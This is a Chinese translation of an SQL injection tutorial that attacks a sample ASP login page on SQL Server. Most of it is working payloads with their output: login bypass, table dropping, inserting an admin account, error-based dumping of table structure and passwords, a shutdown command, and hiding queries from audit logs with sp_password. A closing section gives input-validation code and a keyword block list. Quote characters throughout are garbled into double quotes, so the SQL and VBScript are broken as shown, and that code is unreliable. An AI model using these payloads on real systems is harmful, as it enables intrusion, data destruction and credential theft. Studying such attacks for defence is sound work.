这里讨论的是"process_login.asp"中的创建"query string"的部分: var sql = "select * from users where username = "" + username + "" and password = "" + password + """; 如果用户指定了下面这样的数据: Username: "; drop table users-- Password: "users"表会被删除,所有用户都不能登陆。"--"是Transact-SQL(交互式SQL)的单行注释符,";"标志着一个查询的结束另一个查询的开始。用户名最后的"--"用来使这个特殊的查询无错误结束。 攻击者只要知道用户名,就可以通过以下的输入以任何用户的身份登陆: Username: admin"-- 攻击者可以通过下面的输入以用户表里的第一个用户来登陆: Username: " or 1=1-- ...更有甚者,攻击者通过以下的输入可以以任意虚构的用户登陆: Username: " union select 1, "fictional_user", "somoe_password", 1-- 因为程序相信攻击者指定的常量是数据库返回的记录集的一部分。 [通过错误信息获取信息] 这个技术是David Litchfield在一次渗透入侵测试中首先发现的,后来david写了篇关于这个技术的文章,很多作者都参考过这篇作品。这里我们讨论“错误消息”技术潜在的机制,使读者可以充分理解它并且能灵活应用。 为了操作数据库里的数据,攻击者要确定某个数据库的结构。例如:我们的"user"表是用下面的语句建立的: 复制代码 代码如下: create table users( id int, username varchar(255), password varchar(255), privs int )
并且插入了下面的用户: insert into users values( 0, "admin", "r00tr0x!", 0xffff ) insert into users values( 0, "guest", "guest", 0x0000 ) insert into users values( 0, "chris", "password", 0x00ff ) insert into users values( 0, "fred", "sesame", 0x00ff ) 我们假设攻击者要为自己插入一个用户,如果不知道表的结构的话,他不可能成功。即使他运气好,"priv"字段的重要性还不清楚。攻击者可能插入"1",给自己在程序里添加了一个低权限的用户,而他的目标是管理员的权限。 对于攻击者来说幸运的是:如果程序返回错误(asp默认如此),攻击者可以猜测整个数据库的结构,读取ASP程序连接到SQL-Server的帐号权限内可以读取的任何值。 (下面给出的使用上面提供的示例数据库和asp脚本来说明这些技术怎样实现的) 首先,攻击者要确定查询的表名和字段名。要做到这点,攻击者可以使用"select"语句的"having"子句: username: " having 1=1 -- 这会引起下面的错误(译者注:having字句必须和GROUP BY或者聚合函数一起配合使用,否则出错): 复制代码 代码如下: Microsoft OLE DB Provider for ODBC Drivers error "80040e14" [Microsoft][ODBC SQL Server Driver][SQL Server]Column "users.id" is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /process_login.asp, line 35
所以攻击者就知道了表名和第一列的列名,他们可以通过给每列加上"group by"子句继续得到其他列名,如下: 复制代码 代码如下: username: " group by users.id having 1=1 -- (结果产生这样的错误) Microsoft OLE DB Provider for ODBC Drivers error "80040e14" [Microsoft][ODBC SQL Server Driver][SQL Server]Column "users.username" is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. /process_login.asp, line 35
最后攻击者得到了下面的"username": " group by users.id, users.username, users.password, users.privs having 1=1-- 这句没有错误,相当于: select * from users where username = "" 所以攻击者知道了查询只是关于"users"表的,并且顺序使用了列"id,username,password,rpivs"。 如果攻击者能确定各列的数据类型将会很有用,可以利用类型转换错误信息来达到这一点,看下面的例子: Username: " union select sum(username) from users-- 这利用了SQL-Server试图在确定两行是否相同之前先执行"sum"子句的特性,计算文本域的和会返回这样的信息: Microsoft OLE DB Provider for ODBC Drivers error "80040e07" [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument. /process_login.asp, line 35 它告诉我们"username"字段的类型是"varchar"。相反的,如果我们试图计算数值型的字段,但结果两行的列数并不匹配: Microsoft OLE DB Provider for ODBC Drivers error "80040e07" [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument. /process_login.asp, line 35 我们可以用这个技术来大概地确定数据库内各列的类型。 这样攻击者就可以写出一个格式完美的"insert"语句: Username: "; insert into users values( 666, "attacker", "foobar", 0xffff )-- 但是,这个技术的潜力不止这些。攻击者可以利用任何错误信息来暴露系统环境或者数据库信息。执行下面的语句可以得到一个标准错误信息的清单: select * from master..sysmessages 检查这个清单可以发现很多有趣的信息。 一个特别有用的信息有关类型转换,如果你试图将一个字符串转换成整型,整个字符串的内容将会出现在错误信息里。以我们登陆页的例子来说,使用下面的"username"将会返回SQL-Server的版本以及它所在服务器操作系统的版本信息: Username: " union select @@version,1,1,1-- Microsoft OLE DB Provider for ODBC Drivers error "80040e07" [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value "Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) " to a column of data type int. /process_login.asp, line 35 这试图将内置常量"@@version"转换成整型,因为"users"表第一列是整数。 这个技术可以用来读取任何数据库的任何表的任何内容,如果攻击者对用户名和密码感兴趣,他们就可以从"users"表读用户名: Username: " union select min(username),1,1,1 from users where username > "a"-- 这将选出比"a"大的最小用户名,而且试图将它转换成一个整数: Microsoft OLE DB Provider for ODBC Drivers error "80040e07" [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value "admin" to a column of data type int. /process_login.asp, line 35 攻击者就知道"admin"帐号存在,他现在可以把他发现的用户名放进"where"子句来反复测试这行: Username: " union select min(username),1,1,1 from users where username > "admin"-- Microsoft OLE DB Provider for ODBC Drivers error "80040e07" [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value "chris" to a column of data type int. /process_login.asp, line 35 一旦攻击者确定了用户名,他就可以搜集密码; Username: " union select password,1,1,1 from users where username = "admin"-- Microsoft OLE DB Provider for ODBC Drivers error "80040e07" [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value "r00tr0x!" to a column of data type int. /process_login.asp, line 35 一个更“别致”的技术是将用户名和密码连接成一个单独的字符传,然后试图将它转换成整型。这将举另一种例子;Transact-SQL语句可以将字符串连接成一行而不改变他们的意义,下面的脚本将连接这些值: 复制代码 代码如下: begin declare @ret varchar(8000) set @ret=":" select @ret=@ret+" "+username+"/"+password from users where username>@ret select @ret as ret into foo end
攻击者用这个"username"登陆(明显都在同一行) Username: ";begin declare @ret varchar(8000) set @ret=":" select @ret=@ret+" "+username+"/"+password from users where username>@ret select @ret as ret into foo end-- 这创建了一个只包含单列"ret"的表"foo",而且把我们的字符串放在里面。通常一个低权限的用户可以在示例数据库里创建表,或者一个临时表。 之后攻击者选择查询表里的字符串,就像前面说的: 复制代码 代码如下: Username: " union select ret,1,1,1 from foo-- Username: " union select ret,1,1,1 from foo-- Microsoft OLE DB Provider for ODBC Drivers error "80040e07" [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ": admin/r00tr0x! guest/guest chris/password fred/sesame" to a column of data type int. /process_login.asp, line 35
设置新密码的查询语句可能这样写的: sql = "update users set password = "" + newpassword + "" where username = "" + rso("username") + """ rso("username")是登陆的查询返回的的用户名。 用户名为admin"--,上面的查询就变成了这样: update users set password = "password" where username = "admin"--" 因此攻击者可以通过注册了一个名叫admin"--的用户来把admin的密码改成他们自己的。 这是个危险的问题,目前大部分的大型程序都试图过滤数据。最好的解决方法是拒绝非法输入,而不是简单的改变它。这有时候会导致一些问题,非法字符在某些地方是必要的,比如在名字带符号的情况: O"Brien 从安全的角度,最好的解决办法是不允许出现单引号。如果这样不行,必须避免它们出现,这种情况下,最好保证所有要进入SQL语句的字符(包括从数据库里取出的字符)都被正确的处理过。 即使这样攻击依然可能实现:如果攻击者可以不经过程序而往系统插入数据。比如攻击者有一个email接口,或者有一个可以控制的错误记录数据库。最好总是验证所有的数据,包括系统里的数据,验证函数调用很简单,比如: if ( not isValied( "email", request.querystring("emil") ) ) then response.end 或者其他的方法 [长度限制] 有时候输入对数据的长度加以限制会使攻击困难许多,这的确阻止了一些攻击,但一个很短的SQL语句也可能造成非常大的危害: Username: ";shutdown-- 关闭SQL-Server,只用了12个字符。另一个例子: drop table 如果长度限制是在字符串过滤后,另一个问题可能会发生。假设用户名被限制在16个字符之内,密码也被限制在16个字符之内,下面的用户名和密码结合可以执行"shutdown"命令: Username:aaaaaaaaaaaaaaa" Password:"; shutdown-- 原因是程序过滤用户名最后的单引号,但是字符串又被切回到16个字符,删除了过滤的单引号。结果是密码域可以包含一些SQL, 只要它以一个单引号开始,最后的查询会变成这样: select * from users where username = "aaaaaaaaaaaaaa"" and password=""";shutdown-- 用户名在查询里就变成: aaaaaaaaaaaaaaa" and password=" 后面附上的SQL被执行。 [躲避审核] SQL Server在sp_traceXXX系列的函数包含丰富审核接口,它可以记录任何数据库里的事件。这里我们特别感兴趣的是T-SQL事件,它记录了所有的SQL语句以及服务器上准备好的和已运行了的批处理。如果这个级别的审核开启的话,所有我们讨论的注入都将被记录下来有经验的数据库管理员将会看到所有发生的事情。但是如果攻击者附加下面的字符: sp_password 到一个Transact-SQL语句,这个审核记录如下: -- "sp_password" was found in the text of this event. -- The text has been replaced with this comment for security reasons. 这在所有的的T-SQL日志记录时都会发生,即使"sp_password"出现在注释中。这当然是在用户传递sp_password时有意隐藏用户的明文密码,但这对攻击者相当有用。 所以,为了隐藏所有的注入攻击者只需要在注释符"--"后面加一个字符串: Username: admin"--sp_password 事实上一些执行了的SQL将被记录,但是查询字符串本身被强制不记录。 [防 范] 这部分讨论一些针对这些攻击的防范措施。输入验证已经讨论过了,一些代码也给出了,后面我们研究SQL-Server防范问题。 [输入验证] 输入验证是一个很复杂的问题。一般在一个开发项目中它很少被注意,因为过度的验证往往使一个程序的某部分被打断,所以输入验证是个难题。输入验证往往不加到程序的功能里,因而在工期将至而赶程序时不会被人注意。 下面是关于验证的简单的讨论附示例代码,这个示例代码当然不能直接用在程序里,但可以很好的说明不同的策略。 各种数据验证的途径可以分类为以下几种: 1)整理数据使之变得有效 2)拒绝已知的非法输入 3)只接受已知的合法的输入 有很多概念上的问题;首先,开发者没有必要知道非法数据由什么组成,因为新形式的非法数据随时都可能产生。第二,改变数据会改变它的长度,这样会导致前面提到的问题。最后,还有需要对系统已有数据的重用的话有二次注入的问题. 解决方案2也会遇到和1的一些相似的问题,了解非法数据会过时,因为新的攻击技术也在发展。 解决方案3可能是三种方法中最好的,但是比较难于执行。 从安全角度来考虑可能最好多解决方法是把解决方案2和3结合起来只允许合法的输入,然后再寻找非法字符。 一个必须结合这两种途径的例子是带有连字符的名字的问题: Question Bassington-Bassington 我们必须在合法输入里允许连字符号,但是也要明白字符串"--"在SQL-Server里意味着什么。 当数据整理结合了非法字符验证时另一个问题就会发生。假设我们应用“非法字符探测器”来探测"--","select"和"union"”后使用“数据整理过滤器”删除单引号,攻击者就可以指定这样的输入: uni"on sel"ect @@version-"- 因为单引号被过滤器删除了,攻击者可以把单引号散布于它的已知的非法字符串里来躲避检查。 下面是一些验证的代码: 方法1-躲避单引号 复制代码 代码如下: function escape( input ) input = replace(input, """, """") escape = input end function
方法2-抵制已知的非法输入 复制代码 代码如下: function validate_string( input ) know_bad = array( "select", "insert", "update", "delete", "drop", "--", """) validate_string = true for i = lbound( know_bad ) to ubound( known_bad ) if( instr( 1, input, known_bad(i), vbtextcompare) <> 0 ) validate_string = false exit function end if next end function
方法3-只允许合法输入 复制代码 代码如下: function validatepassword( input ) good_password_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" validatepassword = true for i = 1 to len( input ) c = mid( input, i, 1 ) if ( instr( good_password_chars, c ) = 0 ) then validatepassword = false exit function end if next end function